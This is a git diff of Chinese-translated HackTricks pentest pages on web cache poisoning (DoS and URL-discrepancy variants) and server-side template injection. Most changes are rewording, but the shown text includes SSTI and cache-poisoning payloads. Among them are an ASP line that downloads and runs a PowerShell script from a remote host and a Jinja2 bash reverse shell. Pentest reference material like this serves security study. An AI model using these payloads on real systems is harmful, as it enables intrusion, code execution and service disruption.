* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Cache Poisoning to DoS
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -19,9 +19,9 @@
|
|||
在此页面中,您可以找到不同的变体,以尝试使 **Web 服务器对有效的缓存服务器请求** **响应错误**。
|
||||
{% endhint %}
|
||||
|
||||
* **HTTP 头部过大 (HHO)**
|
||||
* **HTTP Header Oversize (HHO)**
|
||||
|
||||
发送一个头部大小大于 Web 服务器支持的大小,但小于缓存服务器支持的大小的请求。Web 服务器将以 400 响应进行响应,该响应可能会被缓存:
|
||||
发送一个请求,头部大小大于 Web 服务器支持的大小,但小于缓存服务器支持的大小。Web 服务器将以 400 响应进行响应,该响应可能会被缓存:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: redacted.com
|
||||
|
@ -29,7 +29,7 @@ X-Oversize-Hedear:Big-Value-000000000000000
|
|||
```
|
||||
* **HTTP Meta Character (HMC) & Unexpected values**
|
||||
|
||||
发送一个包含一些 **有害元字符** 的头,例如 `\n` 和 `\r`。为了使攻击有效,您必须首先绕过缓存。
|
||||
发送一个包含一些 **有害元字符** 的头,例如 和 。为了使攻击有效,您必须首先绕过缓存。
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: redacted.com
|
||||
|
@ -37,7 +37,7 @@ X-Meta-Hedear:Bad Chars\n \r
|
|||
```
|
||||
一个配置错误的头部可能只是 `\:` 作为头部。
|
||||
|
||||
如果发送了意外的值,比如意外的 Content-Type:,这也可能有效。
|
||||
如果发送了意外的值,这也可能有效,比如意外的 Content-Type:
|
||||
```
|
||||
GET /anas/repos HTTP/2
|
||||
Host: redacted.com
|
||||
|
@ -45,7 +45,7 @@ Content-Type: HelloWorld
|
|||
```
|
||||
* **未键入的头部**
|
||||
|
||||
一些网站会在请求中**看到某些特定的头部**时返回错误状态代码,例如带有 _X-Amz-Website-Location-Redirect: someThing_ 头部:
|
||||
一些网站如果在请求中**看到某些特定的头部**,例如带有 _X-Amz-Website-Location-Redirect: someThing_ 头部时,会返回错误状态码:
|
||||
```
|
||||
GET /app.js HTTP/2
|
||||
Host: redacted.com
|
||||
|
@ -58,7 +58,7 @@ Invalid Header
|
|||
```
|
||||
* **HTTP 方法覆盖攻击 (HMO)**
|
||||
|
||||
如果服务器支持通过 `X-HTTP-Method-Override`、`X-HTTP-Method` 或 `X-Method-Override` 等头部更改 HTTP 方法,则可以请求一个有效页面,改变方法使得服务器不支持,从而导致错误响应被缓存:
|
||||
如果服务器支持通过 `X-HTTP-Method-Override`、`X-HTTP-Method` 或 `X-Method-Override` 等头部更改 HTTP 方法。可以请求一个有效的页面,改变方法使得服务器不支持,从而导致错误的响应被缓存:
|
||||
```
|
||||
GET /blogs HTTP/1.1
|
||||
Host: redacted.com
|
||||
|
@ -77,7 +77,7 @@ Cache: miss
|
|||
```
|
||||
* **长重定向 DoS**
|
||||
|
||||
如以下示例所示,x 没有被缓存,因此攻击者可以利用重定向响应行为,使重定向发送一个如此大的 URL 以至于返回错误。然后,试图在没有未缓存的 x 键的情况下访问该 URL 的人将收到错误响应:
|
||||
如以下示例所示,x 没有被缓存,因此攻击者可以利用重定向响应行为,使重定向发送一个如此大的 URL 以至于返回错误。然后,试图在没有未缓存的 x 密钥的情况下访问该 URL 的人将收到错误响应:
|
||||
```
|
||||
GET /login?x=veryLongUrl HTTP/1.1
|
||||
Host: www.cloudflare.com
|
||||
|
@ -94,7 +94,7 @@ CF-Cache-Status: miss
|
|||
```
|
||||
* **主机头部大小写规范化**
|
||||
|
||||
主机头部应该是不区分大小写的,但某些网站期望它是小写的,如果不是则会返回错误:
|
||||
主机头部应该是不区分大小写的,但某些网站期望它是小写的,如果不是则返回错误:
|
||||
```
|
||||
GET /img.png HTTP/1.1
|
||||
Host: Cdn.redacted.com
|
||||
|
@ -137,8 +137,8 @@ Cache: hit
|
|||
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -0,0 +1,79 @@
|
|||
# Cache Poisoning via URL discrepancies
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
这是对帖子 [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) 中提出的技术的总结,以执行缓存中毒攻击 **利用缓存代理和 Web 服务器之间的差异。**
|
||||
|
||||
{% hint style="info" %}
|
||||
此攻击的目标是 **让缓存服务器认为正在加载静态资源**,因此它会缓存该资源,而缓存服务器将路径的一部分存储为缓存键,但 Web 服务器响应解析另一个路径。Web 服务器将解析实际路径,这将加载一个动态页面(可能存储有关用户的敏感信息、恶意负载如 XSS 或重定向以从攻击者网站加载 JS 文件等)。
|
||||
{% endhint %}
|
||||
|
||||
## 分隔符
|
||||
|
||||
**URL 分隔符** 根据框架和服务器的不同而有所不同,影响请求的路由和响应的处理。一些常见的源分隔符包括:
|
||||
|
||||
* **分号**:在 Spring 中用于矩阵变量(例如 `/hello;var=a/world;var1=b;var2=c` → `/hello/world`)。
|
||||
* **点**:在 Ruby on Rails 中指定响应格式(例如 `/MyAccount.css` → `/MyAccount`)。
|
||||
* **空字节**:在 OpenLiteSpeed 中截断路径(例如 `/MyAccount%00aaa` → `/MyAccount`)。
|
||||
* **换行字节**:在 Nginx 中分隔 URL 组件(例如 `/users/MyAccount%0aaaa` → `/account/MyAccount`)。
|
||||
|
||||
可以通过以下过程找到其他特定的分隔符:
|
||||
|
||||
* **步骤 1**:识别不可缓存的请求,并使用它们监控带有潜在分隔符的 URL 的处理方式。
|
||||
* **步骤 2**:将随机后缀附加到路径,并比较服务器的响应以确定字符是否作为分隔符。
|
||||
* **步骤 3**:在随机后缀之前引入潜在分隔符,以查看响应是否发生变化,指示分隔符的使用。
|
||||
|
||||
## 规范化与编码
|
||||
|
||||
* **目的**:缓存和源服务器中的 URL 解析器规范化 URL,以提取路径以进行端点映射和缓存键。
|
||||
* **过程**:识别路径分隔符,通过解码字符和删除点段提取和规范化路径。
|
||||
|
||||
### **编码**
|
||||
|
||||
不同的 HTTP 服务器和代理(如 Nginx、Node 和 CloudFront)以不同的方式解码分隔符,导致 CDNs 和源服务器之间的不一致,这可能被利用。例如,如果 Web 服务器执行此转换 `/myAccount%3Fparam` → `/myAccount?param`,但缓存服务器将路径 `/myAccount%3Fparam` 作为键保留,则存在不一致。
|
||||
|
||||
检查这些不一致的一种方法是发送请求 URL 编码不同字符,在加载路径时不进行任何编码,并检查编码路径的响应是否来自缓存响应。
|
||||
|
||||
### 点段
|
||||
|
||||
涉及点的路径规范化对于缓存中毒攻击也非常有趣。例如,`/static/../home/index` 或 `/aaa..\home/index`,一些缓存服务器将这些路径缓存为自身作为键,而其他服务器可能解析路径并使用 `/home/index` 作为缓存键。\
|
||||
就像之前一样,发送这些请求并检查响应是否来自缓存有助于识别对 `/home/index` 的响应是否是请求这些路径时发送的响应。
|
||||
|
||||
## 静态资源
|
||||
|
||||
如果响应被识别为静态,多个缓存服务器将始终缓存该响应。这可能是因为:
|
||||
|
||||
* **扩展名**:Cloudflare 将始终缓存以下扩展名的文件:7z、csv、gif、midi、png、tif、zip、avi、doc、gz、mkv、ppt、tiff、zst、avif、docx、ico、mp3、pptx、ttf、apk、dmg、iso、mp4、ps、webm、bin、ejs、jar、ogg、rar、webp、bmp、eot、jpg、otf、svg、woff、bz2、eps、jpeg、pdf、svgz、woff2、class、exe、js、pict、swf、xls、css、flac、mid、pls、tar、xlsx
|
||||
* 可以通过使用分隔符和静态扩展强制缓存存储动态响应,例如请求 `/home$image.png` 将缓存 `/home$image.png`,而源服务器将响应 `/home`
|
||||
* **知名静态目录**:以下目录包含静态文件,因此其响应应被缓存:/static、/assets、/wp-content、/media、/templates、/public、/shared
|
||||
* 可以通过使用分隔符、静态目录和点强制缓存存储动态响应,例如:`/home/..%2fstatic/something` 将缓存 `/static/something`,而响应将是 `/home`
|
||||
* **静态目录 + 点**:请求 `/static/..%2Fhome` 或 `/static/..%5Chome` 可能会按原样缓存,但响应可能是 `/home`
|
||||
* **静态文件**:一些特定文件总是被缓存,如 `/robots.txt`、`/favicon.ico` 和 `/index.html`。这可以被滥用,例如 `/home/..%2Frobots.txt`,其中缓存可能存储 `/robots.txt`,而源服务器响应 `/home`。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -1,8 +1,8 @@
|
|||
# SSTI (Server Side Template Injection)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,7 +10,7 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -25,7 +25,7 @@
|
|||
|
||||
服务器端模板注入是一种漏洞,当攻击者能够将恶意代码注入到在服务器上执行的模板中时,就会发生这种漏洞。此漏洞可以在多种技术中找到,包括 Jinja。
|
||||
|
||||
Jinja 是一种在 web 应用程序中使用的流行模板引擎。让我们考虑一个使用 Jinja 的易受攻击代码片段的示例:
|
||||
Jinja 是一种在 web 应用程序中使用的流行模板引擎。让我们考虑一个使用 Jinja 的脆弱代码片段的示例:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
|
@ -183,7 +183,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
|||
|
||||
Thymeleaf 要求这些表达式放置在特定属性中。然而,其他模板位置支持 _表达式内联_,使用语法如 `[[...]]` 或 `[(...)]`。因此,一个简单的 SSTI 测试有效载荷可能看起来像 `[[${7*7}]]`。
|
||||
|
||||
然而,这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成;模板必须是预定义的。开发人员需要实现自己的 `TemplateResolver` 以动态从字符串创建模板,这并不常见。
|
||||
然而,这个有效载荷成功的可能性通常较低。Thymeleaf 的默认配置不支持动态模板生成;模板必须是预定义的。开发者需要实现自己的 `TemplateResolver` 以动态创建字符串模板,这并不常见。
|
||||
|
||||
Thymeleaf 还提供 _表达式预处理_,其中双下划线 (`__...__`) 内的表达式会被预处理。这个特性可以在构建表达式时利用,如 Thymeleaf 文档中所示:
|
||||
```java
|
||||
|
@ -209,7 +209,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
[el-expression-language.md](el-expression-language.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Spring 框架 (Java)
|
||||
### Spring框架 (Java)
|
||||
```java
|
||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
|
@ -282,6 +282,7 @@ Pebble 的旧版本(< 版本 3.0.9):
|
|||
|
||||
|
||||
|
||||
|
||||
{% set bytes = (1).TYPE
|
||||
.forName('java.lang.Runtime')
|
||||
.methods[6]
|
||||
|
@ -385,7 +386,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
表达式语言 (EL) 是一个基本特性,促进了 JavaEE 中表现层(如网页)与应用逻辑(如托管 bean)之间的交互。它在多个 JavaEE 技术中被广泛使用,以简化这种通信。利用 EL 的关键 JavaEE 技术包括:
|
||||
|
||||
* **JavaServer Faces (JSF)**:使用 EL 将 JSF 页面中的组件绑定到相应的后端数据和操作。
|
||||
* **JavaServer Pages (JSP)**:EL 在 JSP 中用于访问和操作 JSP 页面中的数据,使得连接页面元素与应用数据变得更加容易。
|
||||
* **JavaServer Pages (JSP)**:EL 在 JSP 中用于访问和操作 JSP 页面中的数据,使得连接页面元素与应用数据变得更容易。
|
||||
* **Java EE 的上下文和依赖注入 (CDI)**:EL 与 CDI 集成,允许 web 层与托管 bean 之间无缝交互,确保更连贯的应用结构。
|
||||
|
||||
查看以下页面以了解更多关于 **EL 解释器的利用**:
|
||||
|
@ -603,7 +604,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) 是一个非编译的 PHP 模板引擎,使用 XML 标签将文档分成不同部分
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) 是一个不编译的 PHP 模板引擎,使用 XML 标签将文档分成不同部分
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
|
@ -627,7 +628,7 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
|
|||
```
|
||||
* \= 错误
|
||||
* ${7\*7} = ${7\*7}
|
||||
* 无内容
|
||||
* 没有任何内容
|
||||
```java
|
||||
{{#with "s" as |string|}}
|
||||
{{#with "e"}}
|
||||
|
@ -765,6 +766,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
|
||||
|
||||
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
|
@ -797,6 +799,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
|
||||
|
||||
|
||||
{{settings.SECRET_KEY}}
|
||||
{{4*4}}[[5*5]]
|
||||
{{7*'7'}} would result in 7777777
|
||||
|
@ -871,8 +874,8 @@ ${x}
|
|||
|
||||
* `<%= 7*7 %>` = 49
|
||||
* `<%= "foo" %>` = foo
|
||||
* `<%= foo %>` = Nothing
|
||||
* `<%= response.write(date()) %>` = \<Date>
|
||||
* `<%= foo %>` = 无
|
||||
* `<%= response.write(date()) %>` = \<日期>
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
|
@ -896,7 +899,7 @@ ${x}
|
|||
|
||||
* `{{ . }}`:揭示数据结构输入。例如,如果传递了一个具有 `Password` 属性的对象,`{{ .Password }}` 可能会暴露它。
|
||||
* `{{printf "%s" "ssti" }}`:预计会显示字符串 "ssti"。
|
||||
* `{{html "ssti"}}`,`{{js "ssti"}}`:这些有效载荷应返回 "ssti",而不附加 "html" 或 "js"。可以在 Go 文档中进一步探索指令 [这里](https://golang.org/pkg/text/template)。
|
||||
* `{{html "ssti"}}`,`{{js "ssti"}}`:这些有效载荷应返回 "ssti",而不附加 "html" 或 "js"。可以在 Go 文档中进一步探索指令 [here](https://golang.org/pkg/text/template)。
|
||||
|
||||
**XSS Exploitation**
|
||||
|
||||
|
@ -906,7 +909,7 @@ vbnet Copy code
|
|||
|
||||
**RCE Exploitation**
|
||||
|
||||
RCE 利用在 `html/template` 和 `text/template` 之间有显著差异。`text/template` 模块允许直接调用任何公共函数(使用“call”值),而在 `html/template` 中不允许。有关这些模块的文档可在 [这里查看 html/template](https://golang.org/pkg/html/template/) 和 [这里查看 text/template](https://golang.org/pkg/text/template/)。
|
||||
RCE 利用在 `html/template` 和 `text/template` 之间有显著差异。`text/template` 模块允许直接调用任何公共函数(使用“call”值),而在 `html/template` 中不允许。有关这些模块的文档可在 [here for html/template](https://golang.org/pkg/html/template/) 和 [here for text/template](https://golang.org/pkg/text/template/) 中找到。
|
||||
|
||||
通过 Go 中的 SSTI 进行 RCE,可以调用对象方法。例如,如果提供的对象具有执行命令的 `System` 方法,可以像 `{{ .System "ls" }}` 一样利用它。通常需要访问源代码才能进行利用,如给定的示例所示:
|
||||
```go
|
||||
|
@ -954,13 +957,13 @@ return string(out)
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会的 **使命是促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Jinja2 SSTI
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,7 +10,7 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -35,7 +35,7 @@ app.run()
|
|||
|
||||
### **调试语句**
|
||||
|
||||
如果启用了调试扩展,将会有一个 `debug` 标签可用于转储当前上下文以及可用的过滤器和测试。这对于查看在模板中可以使用的内容而无需设置调试器非常有用。
|
||||
如果启用了调试扩展,将会有一个 `debug` 标签可用来转储当前上下文以及可用的过滤器和测试。这对于查看在模板中可以使用的内容而无需设置调试器非常有用。
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -47,6 +47,7 @@ app.run()
|
|||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **转储所有配置变量**
|
||||
|
@ -63,6 +64,7 @@ app.run()
|
|||
|
||||
|
||||
|
||||
|
||||
```
|
||||
## **Jinja 注入**
|
||||
|
||||
|
@ -71,7 +73,7 @@ app.run()
|
|||
### 访问全局对象
|
||||
|
||||
例如,在代码 `render_template("hello.html", username=username, email=email)` 中,对象 username 和 email **来自非沙箱的 Python 环境**,并且在**沙箱环境**中将是**可访问的**。\
|
||||
此外,还有其他对象将**始终可以从沙箱环境中访问**,这些是:
|
||||
此外,还有其他对象将**始终可以从沙箱环境中访问**,这些对象是:
|
||||
```
|
||||
[]
|
||||
''
|
||||
|
@ -123,15 +125,16 @@ dict.__mro__[-1]
|
|||
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### RCE Escaping
|
||||
|
||||
**恢复了** `<class 'object'>` 并调用了 `__subclasses__`,我们现在可以使用这些类来读取和写入文件以及执行代码。
|
||||
**在恢复** `<class 'object'>` 并调用 `__subclasses__` 后,我们现在可以使用这些类来读取和写入文件以及执行代码。
|
||||
|
||||
对 `__subclasses__` 的调用给了我们机会 **访问数百个新函数**,我们将仅通过访问 **文件类** 来 **读取/写入文件** 或任何具有访问权限的类,该类 **允许执行命令**(如 `os`)。
|
||||
对 `__subclasses__` 的调用给了我们机会去 **访问数百个新函数**,我们只需访问 **文件类** 来 **读取/写入文件** 或任何可以访问 **允许执行命令** 的类(如 `os`)。
|
||||
|
||||
**读取/写入远程文件**
|
||||
```python
|
||||
|
@ -201,6 +204,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**返回这里以获取更多访问全局对象的选项**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**返回这里以获取更多访问对象类的选项**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
|
@ -231,7 +235,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
# connect to evil host
|
||||
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
||||
```
|
||||
## Without several chars
|
||||
## 没有几个字符
|
||||
|
||||
没有 **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
||||
```python
|
||||
|
@ -241,11 +245,12 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
